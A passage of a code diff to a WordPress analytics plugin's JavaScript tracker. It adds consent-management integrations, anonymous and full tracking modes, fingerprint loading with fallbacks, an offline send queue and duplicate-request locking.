function sendPageview(options) {\n         options = options || {};\n         extractSlimStatParams();\n+\n+        \u002F\u002F Prevent duplicate requests with stronger locking mechanism\n+        var requestKey = \"slimstat_pageview_\" + (options.isNavigation ? \"nav\" : \"init\") + \"_\" + (options.isConsentRetry ? \"retry\" : \"normal\");\n+        if (window.sendingSlimStatPageview || window[requestKey]) {\n+            return;\n+        }\n+        window.sendingSlimStatPageview = true;\n+        window[requestKey] = true;\n+\n         var params = currentSlimStatParams();\n \n+        var consentUpgradeParam = \"\";\n+        if (options.consentUpgrade) {\n+            consentUpgradeParam = \"&consent_upgrade=1\";\n+            if (params.id) {\n+                \u002F\u002F Send the current pageview ID (with checksum) so the server can\n+                \u002F\u002F update this specific record, same as in the explicit upgrade AJAX.\n+                consentUpgradeParam += \"&pageview_id=\" + encodeURIComponent(params.id);\n+            }\n+        }\n+\n+        var consentDecision = slimstatConsentAllowed(params, {\n+            isNavigation: !!options.isNavigation,\n+            isConsentRetry: !!options.isConsentRetry,\n+        });\n+\n+        if (!consentDecision.allowed) {\n+            window.sendingSlimStatPageview = false;\n+            delete window[requestKey];\n+            return;\n+        }\n+\n+        if (options.consentUpgrade && consentDecision.mode === \"full\") {\n+            consentUpgradeParam = \"&consent_upgrade=1\";\n+            if (params.id) {\n+                \u002F\u002F Send the current pageview ID (with checksum) so the server can\n+                \u002F\u002F update this specific record, same as in the explicit upgrade AJAX.\n+                consentUpgradeParam += \"&pageview_id=\" + encodeURIComponent(params.id);\n+            }\n+        }\n+\n         \u002F\u002F Check if this is a navigation event (not initial page load)\n         var isNavigationEvent = options.isNavigation || false;\n+        var isConsentRetry = options.isConsentRetry || false;\n \n         \u002F\u002F For navigation events, always track regardless of javascript_mode\n         \u002F\u002F For initial page load, skip if server-side tracking is active\n-        if (!isNavigationEvent && !isEmpty(params.id) && parseInt(params.id, 10) > 0) {\n+        if (!isNavigationEvent && !isConsentRetry && !isEmpty(params.id) && parseInt(params.id, 10) > 0) {\n             \u002F\u002F Server-side tracking is active for initial page load, skip pageview but allow interactions\n+            window.sendingSlimStatPageview = false;\n+            delete window[requestKey];\n             return;\n         }\n \n@@ -488,16 +1161,25 @@\n         }\n \n         var payloadBase = buildPageviewBase(params);\n-        if (!payloadBase) return;\n+\n+        if (!payloadBase) {\n+            window.sendingSlimStatPageview = false;\n+            delete window[requestKey];\n+            return;\n+        }\n \n         \u002F\u002F Prevent duplicate pageview requests\n         if (pageviewInProgress) {\n+            window.sendingSlimStatPageview = false;\n+            delete window[requestKey];\n             return;\n         }\n \n         \u002F\u002F De-duplicate rapid navigations (e.g., WP Interactivity quick transitions)\n         var now = Date.now();\n         if (payloadBase === lastPageviewPayload && now - lastPageviewSentAt \u003C 150) {\n+            window.sendingSlimStatPageview = false;\n+            delete window[requestKey];\n             return;\n         }\n \n@@ -507,73 +1189,141 @@\n         var useBeacon = !waitForId; \u002F\u002F need sync response when creating id\n \n         \u002F\u002F Avoid parallel initial pageview duplication\n-        if (inflightPageview && waitForId) return;\n+        if (inflightPageview && waitForId) {\n+            window.sendingSlimStatPageview = false;\n+            delete window[requestKey];\n+            return;\n+        }\n         inflightPageview = waitForId;\n         pageviewInProgress = true;\n \n         \u002F\u002F Reset finalization state when starting new pageview\n         \u002F\u002F Note: finalizationInProgress is now managed in initSlimStatRuntime scope\n \n-        var run = function () {\n-            Fingerprint2.get(FP_EXCLUDES, function (components) {\n-                initFingerprintHash(components);\n-                \u002F\u002F Initial pageview (no id yet) should be immediate for faster id assignment\n-                sendToServer(payloadBase + buildSlimStatData(components), useBeacon, { immediate: isEmpty(params.id) });\n-                showOptoutMessage();\n+        \u002F\u002F Consolidated flag reset helper to prevent race conditions\n+        var resetPageviewFlags = function () {\n+            \u002F\u002F Single source of truth for flag resets\n+            \u002F\u002F Delay allows sendToServer queue to process before allowing next pageview\n+            setTimeout(function () {\n                 inflightPageview = false;\n                 pageviewInProgress = false;\n+                window.sendingSlimStatPageview = false;\n+                delete window[requestKey];\n+            }, 200);\n+        };\n \n-                \u002F\u002F Reset pageview state after successful completion\n-                setTimeout(function () {\n-                    pageviewInProgress = false;\n-                }, 100);\n-            });\n+        var onComplete = function (success) {\n+            if (options.consentUpgrade) {\n+                handleConsentUpgradeResult(!!success);\n+            }\n+            resetPageviewFlags();\n+        };\n+\n+        \u002F\u002F Add consent parameters if provided (from banner accept)\n+        if (options.consent && (options.consent === \"accepted\" || options.consent === \"denied\")) {\n+            consentUpgradeParam += \"&banner_consent=\" + encodeURIComponent(options.consent);\n+            if (options.consentNonce) {\n+                consentUpgradeParam += \"&banner_consent_nonce=\" + encodeURIComponent(options.consentNonce);\n+            }\n+        }\n+\n+        var run = function () {\n+            \u002F\u002F If anonymous mode is active, skip fingerprinting entirely to ensure no PII is collected\u002Fsent\n+            if (consentDecision.mode === \"anonymous\") {\n+                initFingerprintHash(null);\n+                sendToServer(payloadBase + buildSlimStatData({}) + consentUpgradeParam, useBeacon, { immediate: isEmpty(params.id), onComplete: onComplete });\n+                return;\n+            }\n+\n+            \u002F\u002F FingerprintJS v4 async init; if it fails, proceed without fingerprint\n+            try {\n+                \u002F\u002F Safely check if FingerprintJS library is available\n+                var fpPromise = null;\n+                if (typeof FingerprintJS !== \"undefined\" && FingerprintJS.load) {\n+                    fpPromise = FingerprintJS.load();\n+                }\n+\n+                \u002F\u002F Only proceed with promise chain if we have a valid promise\n+                if (fpPromise && typeof fpPromise.then === \"function\") {\n+                    fpPromise\n+                        .then(function (result) {\n+                            initFingerprintHash(result);\n+                            sendToServer(payloadBase + buildSlimStatData(result.components || {}) + consentUpgradeParam, useBeacon, { immediate: isEmpty(params.id), onComplete: onComplete });\n+                        })\n+                        .catch(function () {\n+                            initFingerprintHash(null);\n+                            sendToServer(payloadBase + buildSlimStatData({}) + consentUpgradeParam, useBeacon, { immediate: isEmpty(params.id), onComplete: onComplete });\n+                        });\n+                } else {\n+                    \u002F\u002F Library not available; proceed without fingerprint\n+                    initFingerprintHash(null);\n+                    sendToServer(payloadBase + buildSlimStatData({}) + consentUpgradeParam, useBeacon, { immediate: isEmpty(params.id), onComplete: onComplete });\n+                }\n+            } catch (e) {\n+                \u002F\u002F Catch synchronous errors (shouldn't happen, but defensive)\n+                initFingerprintHash(null);\n+                sendToServer(payloadBase + buildSlimStatData({}) + consentUpgradeParam, useBeacon, { immediate: isEmpty(params.id), onComplete: onComplete });\n+            }\n         };\n         if (window.requestIdleCallback) window.requestIdleCallback(run);\n         else setTimeout(run, 250);\n     }\n \n-    \u002F\u002F -------------------------- Opt-out UI -------------------------- \u002F\u002F\n-    function showOptoutMessage() {\n-        var params = currentSlimStatParams();\n-        var optCookies = params.oc ? params.oc.split(\",\") : [];\n-        var show = optCookies.length > 0;\n-        for (var i = 0; i \u003C optCookies.length; i++)\n-            if (getCookie(optCookies[i])) {\n-                show = false;\n-                break;\n-            }\n-        if (!show) return false;\n-        var xhr;\n+    \u002F\u002F -------------------------- Consent Management -------------------------- \u002F\u002F\n+    \u002F\u002F GDPR consent is now handled by external CMP plugins (Complianz, Cookie Notice, etc.)\n+    \u002F\u002F SlimStat integrates via WP Consent API or custom integrations\n+    \u002F\u002F No internal banner or consent UI is provided\n+\n+    \u002F\u002F -------------------------- Offline Data Handling -------------------------- \u002F\u002F\n+    function storeOffline(payload) {\n         try {\n-            xhr = new XMLHttpRequest();\n+            var offline = loadOfflineQueue();\n+            offline.push({ p: payload, t: Date.now() });\n+            saveOfflineQueue(offline);\n         } catch (e) {\n-            return false;\n+            \u002F\u002F Silently fail if localStorage is not available\n         }\n-        xhr.open(\"POST\", params.ajaxurl, true);\n-        xhr.setRequestHeader(\"Content-Type\", \"application\u002Fx-www-form-urlencoded\");\n-        xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n-        xhr.withCredentials = true;\n-        xhr.onreadystatechange = function () {\n-            if (xhr.readyState === 4 && xhr.status === 200) {\n-                var div = document.createElement(\"div\");\n-                div.innerHTML = xhr.responseText;\n-                document.body.appendChild(div);\n-            }\n-        };\n-        xhr.send(\"action=slimstat_optout_html\");\n-        return true;\n     }\n \n-    function optOut(event, cookieValue) {\n-        event = event || window.event;\n-        if (event && event.preventDefault) event.preventDefault();\n-        else if (event) event.returnValue = false;\n-        var params = currentSlimStatParams();\n-        var expiration = new Date(Date.now() + 31536000000); \u002F\u002F 1 year\n-        document.cookie = \"slimstat_optout_tracking=\" + cookieValue + \";path=\" + (params.baseurl || \"\u002F\") + \";expires=\" + expiration.toGMTString();\n-        var target = event.target || event.srcElement;\n-        if (target && target.parentNode && target.parentNode.parentNode) target.parentNode.parentNode.removeChild(target.parentNode);\n+    function flushOfflineQueue() {\n+        try {\n+            var offline = loadOfflineQueue();\n+            if (!offline.length) return;\n+\n+            var params = currentSlimStatParams();\n+            if (!params.id || parseInt(params.id, 10) \u003C= 0) return; \u002F\u002F need valid ID to send\n+\n+            \u002F\u002F Send offline items in batches to avoid overwhelming the server\n+            var batchSize = 5;\n+            var sent = 0;\n+            var toRemove = [];\n+\n+            for (var i = 0; i \u003C offline.length && sent \u003C batchSize; i++) {\n+                var item = offline[i];\n+                if (item && item.p) {\n+                    \u002F\u002F Update payload with current ID if it has a placeholder\n+                    var payload = item.p;\n+                    if (payload.indexOf(\"id=pending\") !== -1) {\n+                        payload = payload.replace(\"id=pending\", \"id=\" + params.id);\n+                    }\n+\n+                    if (sendToServer(payload, false, { priority: \"normal\" })) {\n+                        toRemove.push(i);\n+                        sent++;\n+                    }\n+                }\n+            }\n+\n+            \u002F\u002F Remove sent items from offline queue\n+            if (toRemove.length > 0) {\n+                for (var j = toRemove.length - 1; j >= 0; j--) {\n+                    offline.splice(toRemove[j], 1);\n+                }\n+                saveOfflineQueue(offline);\n+            }\n+        } catch (e) {\n+            \u002F\u002F Silently fail if there are any issues\n+        }\n     }\n \n     \u002F\u002F -------------------------- Public API (legacy names preserved) -------------------------- \u002F\u002F\n@@ -592,8 +1342,7 @@\n         base64_encode: base64Encode,\n         get_page_performance: getPagePerformance,\n         get_server_latency: getServerLatency,\n-        optout: optOut,\n-        show_optout_message: showOptoutMessage,\n+        \u002F\u002F Deprecated GDPR UI removed\n         add_event: addEvent,\n         in_array: anySubstring,\n         empty: isEmpty,\n@@ -603,6 +1352,16 @@\n         init_fingerprint_hash: initFingerprintHash,\n         get_slimstat_data: buildSlimStatData,\n         get_component_value: getComponentValue,\n+        \u002F\u002F Offline data handling\n+        store_offline: storeOffline,\n+        flush_offline_queue: flushOfflineQueue,\n+        consent: {\n+            checkAllowed: slimstatConsentAllowed,\n+            emit: emitConsentEvent,\n+            normalize: normalizeConsent,\n+            sendChange: sendConsentChangeToServer,\n+        },\n+        requestConsentUpgrade: requestConsentUpgrade,\n         \u002F\u002F New internal helpers (not documented previously)\n         _extract_params: extractSlimStatParams,\n         _send_pageview: sendPageview,\n@@ -617,6 +1376,9 @@\n     };\n })();\n \n+\u002F\u002F Expose SlimStat to the global scope so it remains accessible after esbuild bundling\n+window.SlimStat = SlimStat;\n+\n \u002F\u002F Polyfills for ES5 and older browsers\n if (!Element.prototype.matches) {\n     Element.prototype.matches =\n@@ -657,6 +1419,27 @@\n     var OFFLINE_KEY = \"slimstat_offline_queue\";\n     var pageviewInProgress = false;\n \n+    \u002F\u002F Helper functions for consent detection (local copies for scope access)\n+    function isFunction(value) {\n+        return typeof value === \"function\";\n+    }\n+\n+    function isObject(value) {\n+        return value !== null && typeof value === \"object\";\n+    }\n+\n+    function getCookieStrict(name) {\n+        if (!name) return null;\n+        try {\n+            var safeName = name.replace(\u002F([.$?*|{}()\\[\\]\\\\\\\u002F\\+^])\u002Fg, \"\\\\$1\");\n+            var pattern = \"(?:^|;)\\\\s*\" + safeName + \"=([^;]*)\";\n+            var match = document.cookie.match(pattern);\n+            return match ? decodeURIComponent(match[1]) : null;\n+        } catch (e) {\n+            return null;\n+        }\n+    }\n+\n     function loadOfflineQueue() {\n         try {\n             var raw = localStorage.getItem(OFFLINE_KEY);\n@@ -691,8 +1474,16 @@\n         pageviewInProgress: pageviewInProgress,\n     });\n \n+    var requestConsentUpgrade =\n+        SlimStat.requestConsentUpgrade ||\n+        function () {\n+            return false;\n+        };\n+\n     \u002F\u002F Track whether we've already finalized the current pageview (avoid duplicate beacons)\n     var finalizedPageviews = {};\n+    \u002F\u002F Track currently in-flight finalization requests to avoid races\n+    var inFlightFinalizations = {};\n     \u002F\u002F Finalization state management (moved from SlimStat closure to avoid scope issues)\n     var finalizationInProgress = false;\n     var lastFinalizationReason = \"\";\n@@ -704,10 +1495,17 @@\n     } catch (e) {\n         \u002F* ignore *\u002F\n     }\n+    \u002F\u002F Global flag to prevent concurrent pageview sends\n+    try {\n+        if (typeof window.sendingSlimStatPageview === \"undefined\") window.sendingSlimStatPageview = false;\n+        if (typeof window.slimstatPageviewTracked === \"undefined\") window.slimstatPageviewTracked = false;\n+    } catch (e) {\n+        \u002F* ignore *\u002F\n+    }\n \n     function finalizeCurrent(reason) {\n-        var p = window.SlimStatParams || {};\n-        if (!p.id || parseInt(p.id, 10) \u003C= 0 || finalizedPageviews[p.id]) return; \u002F\u002F no pageview id yet or already finalized\n+        var p = currentSlimStatParams();\n+        if (!p.id || parseInt(p.id, 10) \u003C= 0 || finalizedPageviews[p.id] || inFlightFinalizations[p.id]) return; \u002F\u002F no pageview id yet or already finalized\u002Fin-flight\n \n         var now = Date.now();\n         if (finalizationInProgress || (reason === lastFinalizationReason && now - lastFinalizationTime \u003C FINALIZATION_COOLDOWN)) return;\n@@ -716,24 +1514,30 @@\n         lastFinalizationReason = reason;\n         lastFinalizationTime = now;\n \n+        \u002F\u002F Mark in-flight to prevent concurrent senders (race protection)\n+        inFlightFinalizations[p.id] = true;\n+\n         \u002F\u002F Old behavior: send a simple finalize to let the server compute dt_out\n         var payload = \"action=slimtrack&id=\" + p.id + (reason ? \"&fv=\" + encodeURIComponent(reason) : \"\");\n         SlimStat.send_to_server(payload, true, { priority: \"high\", immediate: false });\n+\n+        \u002F\u002F Mark finalized and clear in-flight after a short window\n         finalizedPageviews[p.id] = true;\n         setTimeout(function () {\n+            delete inFlightFinalizations[p.id];\n             finalizationInProgress = false;\n         }, 120);\n     }\n \n     \u002F\u002F Observe for parameter mutations (meta tag or script changes)\n     \u002F\u002F Only observe if we don't have an ID yet (to avoid unnecessary tracking requests)\n-    var lastParams = JSON.stringify(window.SlimStatParams || {});\n+    var lastParams = JSON.stringify(currentSlimStatParams());\n     var observer = new MutationObserver(function () {\n-        var params = window.SlimStatParams || {};\n+        var params = currentSlimStatParams();\n         \u002F\u002F Only extract params if we don't have an ID yet (initial page load)\n         if (SlimStat.empty(params.id) || parseInt(params.id, 10) \u003C= 0) {\n             SlimStat._extract_params();\n-            var serialized = JSON.stringify(window.SlimStatParams || {});\n+            var serialized = JSON.stringify(currentSlimStatParams());\n             if (serialized !== lastParams) lastParams = serialized; \u002F\u002F reserved for future diff-based logic\n         }\n     });\n@@ -743,34 +1547,294 @@\n     \u002F\u002F Initial pageview\n     SlimStat.add_event(window, \"load\", function () {\n         SlimStat._extract_params();\n+\n+        \u002F\u002F Proceed with normal tracking; consent is gated by CMP checks in sendPageview()\n         SlimStat._send_pageview();\n+\n         \u002F\u002F Flush any offline stored payloads after initial pageview queued\n         setTimeout(function () {\n             try {\n-                if (navigator.onLine !== false) typeof flushOfflineQueue === \"function\" && flushOfflineQueue();\n+                if (navigator.onLine !== false) SlimStat.flush_offline_queue();\n             } catch (e) {}\n         }, 500);\n     });\n \n+    \u002F\u002F Listen for WP Consent API consent changes and retry pageview if previously blocked\n+    document.addEventListener(\"wp_listen_for_consent_change\", function (event) {\n+        try {\n+            var detail = (event && event.detail) || {};\n+            var params = currentSlimStatParams();\n+            var selectedCategory = params.consent_level_integration || \"statistics\";\n+            var retryKey = \"slimstatConsentRetried_\" + selectedCategory;\n+\n+            if (detail[selectedCategory] && detail[selectedCategory] === \"allow\" && (!window[retryKey] || window[retryKey] === false)) {\n+                window[retryKey] = true;\n+                SlimStat._send_pageview({\n+                    consentUpgrade: true,\n+                });\n+            }\n+        } catch (e) {\n+            \u002F* ignore *\u002F\n+        }\n+    });\n+\n+    \u002F\u002F Backwards compatibility: some integrations expose a helper on window\n+    if (typeof window.wp_listen_for_consent_change === \"function\") {\n+        try {\n+            window.wp_listen_for_consent_change(function (category) {\n+                var params = currentSlimStatParams();\n+                var selectedCategory = params.consent_level_integration || \"statistics\";\n+                var retryKey = \"slimstatConsentRetried_\" + selectedCategory;\n+\n+                if (category === selectedCategory && (!window[retryKey] || window[retryKey] === false)) {\n+                    window[retryKey] = true;\n+                    SlimStat._send_pageview({\n+                        consentUpgrade: true,\n+                    });\n+                }\n+            });\n+        } catch (e) {\n+            \u002F* ignore *\u002F\n+        }\n+    }\n+\n+    \u002F\u002F Listen for consent type definitions to catch late initializations\n+    document.addEventListener(\"wp_consent_type_defined\", function () {\n+        try {\n+            var params = currentSlimStatParams();\n+            var selectedCategory = params.consent_level_integration || \"statistics\";\n+            var retryKey = \"slimstatConsentRetried_\" + selectedCategory;\n+\n+            if (!window[retryKey]) {\n+                if (typeof window.wp_has_consent === \"function\") {\n+                    if (window.wp_has_consent(selectedCategory)) {\n+                        window[retryKey] = true;\n+                        SlimStat._send_pageview({\n+                            consentUpgrade: true,\n+                        });\n+                    }\n+                } else {\n+                    window[retryKey] = true;\n+                    SlimStat._send_pageview({\n+                        consentUpgrade: true,\n+                    });\n+                }\n+            }\n+        } catch (e) {\n+            \u002F* ignore *\u002F\n+        }\n+    });\n+\n+    \u002F\u002F Standard WP Consent API event listener\n+    document.addEventListener(\"wp_consent_change\", function (event) {\n+        if (event.detail && event.detail.category) {\n+            var category = event.detail.category;\n+            var params = currentSlimStatParams();\n+            var selectedCategory = params.consent_level_integration || \"statistics\";\n+\n+            \u002F\u002F Use category-specific retry flag to prevent race conditions between CMPs\n+            var retryKey = \"slimstatConsentRetried_\" + selectedCategory;\n+            var consentRetried = window[retryKey] || false;\n+\n+            var shouldTrack = !consentRetried && category === selectedCategory && (!params.id || parseInt(params.id, 10) \u003C= 0);\n+\n+            if (shouldTrack) {\n+                \u002F\u002F Double-check with WP Consent API if available\n+                if (typeof window.wp_has_consent === \"function\" && !window.wp_has_consent(selectedCategory)) return;\n+                window[retryKey] = true;\n+                SlimStat._send_pageview({\n+                    consentUpgrade: true,\n+                });\n+            }\n+\n+            \u002F\u002F Send consent change to server via REST API\n+            if (category === selectedCategory) {\n+                try {\n+                    var hasConsent = false;\n+                    if (typeof window.wp_has_consent === \"function\") {\n+                        hasConsent = window.wp_has_consent(selectedCategory);\n+                    } else if (event.detail.consent !== undefined) {\n+                        hasConsent = event.detail.consent === true || event.detail.consent === \"allow\";\n+                    }\n+\n+                    \u002F\u002F Clear consent upgrade state when consent is denied\n+                    if (!hasConsent) {\n+                        markConsentUpgradeDone(false);\n+                    }\n+\n+                    var parsedConsent = normalizeConsent({\n+                        statistics: hasConsent ? \"allow\" : \"deny\",\n+                    });\n+\n+                    var pageviewId = null;\n+                    if (params.id && parseInt(params.id, 10) > 0) {\n+                        pageviewId = parseInt(params.id, 10);\n+                    }\n+\n+                    sendConsentChangeToServer(\"wp_consent_api\", parsedConsent, pageviewId);\n+                } catch (consentError) {}\n+            }\n+        }\n+    });\n+\n+    \u002F\u002F CMP-specific listeners\n+    \u002F\u002F Define tryTrackIfAllowed in outer scope so consent helpers can access it\n+    function tryTrackIfAllowed(extraOptions) {\n+        var params = currentSlimStatParams();\n+        var selectedCategory = params.consent_level_integration || \"statistics\";\n+        var integrationKey = params.consent_integration || \"\";\n+\n+        if (typeof window.wp_has_consent === \"function\") {\n+            try {\n+                var hasConsent = window.wp_has_consent(selectedCategory);\n+                if (!hasConsent) {\n+                    return;\n+                }\n+            } catch (err) {\n+                return;\n+            }\n+        }\n+\n+        if (integrationKey === \"real_cookie_banner\" || integrationKey === \"rcb\" || integrationKey === \"realcookie\") {\n+            var rcbConsent = detectRealCookieBannerConsent(selectedCategory);\n+            if (rcbConsent === false) {\n+                return;\n+            }\n+        }\n+\n+        requestConsentUpgrade(extraOptions || {});\n+    }\n+\n+    \u002F\u002F CMP-specific listeners\n+    (function registerCmpListeners() {\n+        \u002F\u002F Complianz: enable specific category\n+        document.addEventListener(\"cmplz_enable_category\", function (e) {\n+            var params = currentSlimStatParams();\n+            var selectedCategory = params.consent_level_integration || \"statistics\";\n+            var cat = (e && e.detail && (e.detail.category || e.detail)) || \"\";\n+            if (cat === selectedCategory) tryTrackIfAllowed();\n+        });\n+\n+        \u002F\u002F Complianz: status event (allow\u002Fdeny)\n+        document.addEventListener(\"cmplz_event_status\", function (e) {\n+            var params = currentSlimStatParams();\n+            var selectedCategory = params.consent_level_integration || \"statistics\";\n+            var d = (e && e.detail) || {};\n+            var cat = d.category || d.type || \"\";\n+            var allowed = d.status === \"allow\" || d.enabled === true;\n+            if (cat === selectedCategory && allowed) tryTrackIfAllowed();\n+        });\n+\n+        \u002F\u002F Real Cookie Banner - multiple event names for compatibility\n+        var rcbHandlerDebounceTimer = null;\n+        var rcbHandlerLastCall = 0;\n+        function handleRCBConsentChange(e) {\n+            var now = Date.now();\n+            var params = currentSlimStatParams();\n+            var integrationKey = params.consent_integration || \"\";\n+\n+            if (integrationKey !== \"real_cookie_banner\" && integrationKey !== \"rcb\" && integrationKey !== \"realcookie\") {\n+                return;\n+            }\n+\n+            var selectedCategory = params.consent_level_integration || \"statistics\";\n+            var ok = false;\n+            var consentData = null;\n+\n+            if (e && e.detail) {\n+                if (e.detail.consent && selectedCategory in e.detail.consent) {\n+                    var categoryConsent = e.detail.consent[selectedCategory];\n+                    if (typeof categoryConsent === \"boolean\") {\n+                        ok = categoryConsent;\n+                        consentData = e.detail.consent;\n+                    } else if (categoryConsent && categoryConsent.cookie !== null) {\n+                        ok = true;\n+                        consentData = e.detail.consent;\n+                    }\n+                } else if (e.detail.button && (e.detail.button === \"accept_all\" || e.detail.button === \"accept_essentials\" || e.detail.button === \"save\")) {\n+                    var consentCheck = SlimStat.consent.checkAllowed(params, {});\n+                    ok = consentCheck && consentCheck.allowed && consentCheck.mode === \"full\";\n+                    if (e.detail.consent) {\n+                        consentData = e.detail.consent;\n+                    }\n+                }\n+            }\n+\n+            if (!ok && typeof window.wp_has_consent === \"function\") {\n+                ok = !!window.wp_has_consent(selectedCategory);\n+            }\n+\n+            \u002F\u002F Send consent change to server via REST API\n+            try {\n+                var parsedConsent = normalizeConsent(consentData || { statistics: ok });\n+                var pageviewId = null;\n+                if (params.id && parseInt(params.id, 10) > 0) {\n+                    pageviewId = parseInt(params.id, 10);\n+                }\n+                sendConsentChangeToServer(\"real_cookie_banner\", parsedConsent, pageviewId);\n+            } catch (rcbError) {}\n+\n+            if (!ok) {\n+                var consentCheck = SlimStat.consent.checkAllowed(params, {});\n+                ok = consentCheck && consentCheck.allowed && consentCheck.mode === \"full\";\n+            }\n+\n+            if (ok) {\n+                clearTimeout(rcbHandlerDebounceTimer);\n+                var timeSinceLastCall = now - rcbHandlerLastCall;\n+                var debounceDelay = timeSinceLastCall \u003C 100 ? 100 - timeSinceLastCall : 0;\n+                rcbHandlerDebounceTimer = setTimeout(function () {\n+                    \u002F\u002F Rely on tryTrackIfAllowed so the new consent upgrade flow runs uniformly\n+                    var params = currentSlimStatParams();\n+                    if (!params.id || parseInt(params.id, 10) \u003C= 0) {\n+                        tryTrackIfAllowed();\n+                    } else {\n+                        SlimStat.requestConsentUpgrade();\n+                    }\n+                }, debounceDelay);\n+                rcbHandlerLastCall = now;\n+            }\n+        }\n+\n+        \u002F\u002F Listen for all RCB event variations\n+        document.addEventListener(\"RealCookieBannerConsentChanged\", handleRCBConsentChange);\n+        document.addEventListener(\"rcb-consent-changed\", handleRCBConsentChange);\n+        document.addEventListener(\"rcb-consent-update\", handleRCBConsentChange);\n+        document.addEventListener(\"rcb-consent-saved\", handleRCBConsentChange);\n+\n+        \u002F\u002F CookieYes (cookie-law-info) events\n+        \u002F\u002F Fire after a short delay to allow WP Consent API state to update\n+        document.addEventListener(\"cookieyes_consent_update\", function () {\n+            setTimeout(tryTrackIfAllowed, 50);\n+        });\n+        document.addEventListener(\"cookieyes_preferences_update\", function () {\n+            setTimeout(tryTrackIfAllowed, 50);\n+        });\n+        \u002F\u002F Older CookieYes\u002FCLI plugins\n+        document.addEventListener(\"cli_consent_update\", function () {\n+            setTimeout(tryTrackIfAllowed, 50);\n+        });\n+    })();\n+\n     \u002F\u002F Before unload finalize if we have an active id\n     \u002F\u002F Use multiple lifecycle signals to improve reliability across SPA \u002F tab discard \u002F mobile browsers\n     SlimStat.add_event(document, \"visibilitychange\", function () {\n         \u002F\u002F Only finalize if we have an active ID and the page is actually hidden\n-        var params = window.SlimStatParams || {};\n+        var params = currentSlimStatParams();\n         if (document.visibilityState === \"hidden\" && params.id && parseInt(params.id, 10) > 0) {\n             debouncedFinalize(\"visibility\");\n         }\n     });\n     SlimStat.add_event(window, \"pagehide\", function () {\n         \u002F\u002F Only finalize if we have an active ID\n-        var params = window.SlimStatParams || {};\n+        var params = currentSlimStatParams();\n         if (params.id && parseInt(params.id, 10) > 0) {\n             debouncedFinalize(\"pagehide\");\n         }\n     });\n     SlimStat.add_event(window, \"beforeunload\", function () {\n         \u002F\u002F Only finalize if we have an active ID\n-        var params = window.SlimStatParams || {};\n+        var params = currentSlimStatParams();\n         if (params.id && parseInt(params.id, 10) > 0) {\n             debouncedFinalize(\"beforeunload\");\n         }\n@@ -780,7 +1844,7 @@\n     var finalizationTimeout = null;\n     function debouncedFinalize(reason) {\n         \u002F\u002F Don't finalize if already finalized for this pageview ID\n-        var p = window.SlimStatParams || {};\n+        var p = currentSlimStatParams();\n         if (!p.id || finalizedPageviews[p.id]) return;\n \n         if (finalizationTimeout) {\n@@ -793,7 +1857,7 @@\n \n     \u002F\u002F Online event to resend offline queue\n     SlimStat.add_event(window, \"online\", function () {\n-        flushOfflineQueue();\n+        SlimStat.flush_offline_queue();\n         flushPendingInteractions();\n     });\n \n@@ -819,6 +1883,10 @@\n         SlimStat.add_event(document.body, \"click\", function (e) {\n             var target = e.target;\n             while (target && target !== document.body) {\n+                \u002F\u002F Skip GDPR consent buttons to avoid duplicate processing\n+                if (target.hasAttribute && target.hasAttribute(\"data-consent\")) {\n+                    break;\n+                }\n                 if (target.matches && target.matches(\"a,button,input,area\")) {\n                     SlimStat.ss_track(e, null, null);\n                     break;\n@@ -826,6 +1894,8 @@\n                 target = target.parentNode;\n             }\n         });\n+\n+        \u002F\u002F No GDPR consent buttons; managed by CMPs\n     }\n \n     function setupNavigationHooks() {\n@@ -918,4 +1988,223 @@\n     \u002F\u002F Setup interaction tracking\n     setupClickDelegation();\n     setupNavigationHooks();\n+\n+    \u002F**\n+     * Setup Consent Upgrade Handler\n+     *\n+     * Listens for consent events from various CMPs (Consent Management Platforms)\n+     * and upgrades anonymous tracking to full PII tracking when consent is granted.\n+     *\n+     * Flow:\n+     * 1. User visits site → Anonymous tracking (hashed IP, no cookies)\n+     * 2. User grants consent → Consent event fired\n+     * 3. AJAX request sent to upgrade existing pageview record\n+     * 4. IP hash replaced with real IP, tracking cookie set\n+     *\u002F\n+    function setupConsentUpgradeHandler() {\n+        var legacyEvents = [\"RCB\u002FOptIn\", \"RCB\u002FOptIn\u002FAll\", \"cookieyes_consent_update\", \"cookieyes_preferences_update\", \"cli_consent_update\", \"wp_listen_load\", \"wp_consent_type_functional\", \"wp_consent_type_statistics\", \"slimstat_banner_consent\"];\n+\n+        legacyEvents.forEach(function (eventName) {\n+            document.addEventListener(eventName, function (e) {\n+                requestConsentUpgrade(e);\n+            });\n+        });\n+\n+        document.addEventListener(\"slimstat:consent:updated\", function (event) {\n+            if (event && event.detail && event.detail.allowed && event.detail.mode === \"full\") {\n+                requestConsentUpgrade();\n+            }\n+        });\n+\n+        SlimStat.requestConsentUpgrade = requestConsentUpgrade;\n+    }\n+\n+    function initSlimStatBanner() {\n+        var bannerInitialized = false;\n+\n+        function attachBannerHandlers() {\n+            if (bannerInitialized) {\n+                return;\n+            }\n+\n+            var params = currentSlimStatParams();\n+            if (!params || params.use_slimstat_banner !== \"on\") {\n+                return;\n+            }\n+\n+            var banner = document.getElementById(\"slimstat-gdpr-banner\");\n+            if (!banner) {\n+                return;\n+            }\n+\n+            bannerInitialized = true;\n+\n+            setTimeout(function () {\n+                if (banner && banner.classList) {\n+                    banner.classList.add(\"show\");\n+                } else if (banner) {\n+                    banner.style.display = \"block\";\n+                }\n+            }, 50);\n+\n+            var buttons = banner.querySelectorAll(\"[data-consent]\");\n+            for (var i = 0; i \u003C buttons.length; i++) {\n+                (function (button) {\n+                    if (button.addEventListener) {\n+                        button.addEventListener(\n+                            \"click\",\n+                            function (event) {\n+                                if (event && typeof event.preventDefault === \"function\") {\n+                                    event.preventDefault();\n+                                }\n+                                if (event && typeof event.stopPropagation === \"function\") {\n+                                    event.stopPropagation();\n+                                }\n+                                var consent = button.getAttribute(\"data-consent\") || \"\";\n+                                submitBannerDecision(consent, banner);\n+                            },\n+                            false\n+                        );\n+                    } else if (button.attachEvent) {\n+                        button.attachEvent(\"onclick\", function (event) {\n+                            if (event && typeof event.preventDefault === \"function\") {\n+                                event.preventDefault();\n+                            }\n+                            if (event && typeof event.stopPropagation === \"function\") {\n+                                event.stopPropagation();\n+                            }\n+                            var consent = button.getAttribute(\"data-consent\") || \"\";\n+                            submitBannerDecision(consent, banner);\n+                        });\n+                    } else {\n+                        button.onclick = function (event) {\n+                            if (event && typeof event.preventDefault === \"function\") {\n+                                event.preventDefault();\n+                            }\n+                            if (event && typeof event.stopPropagation === \"function\") {\n+                                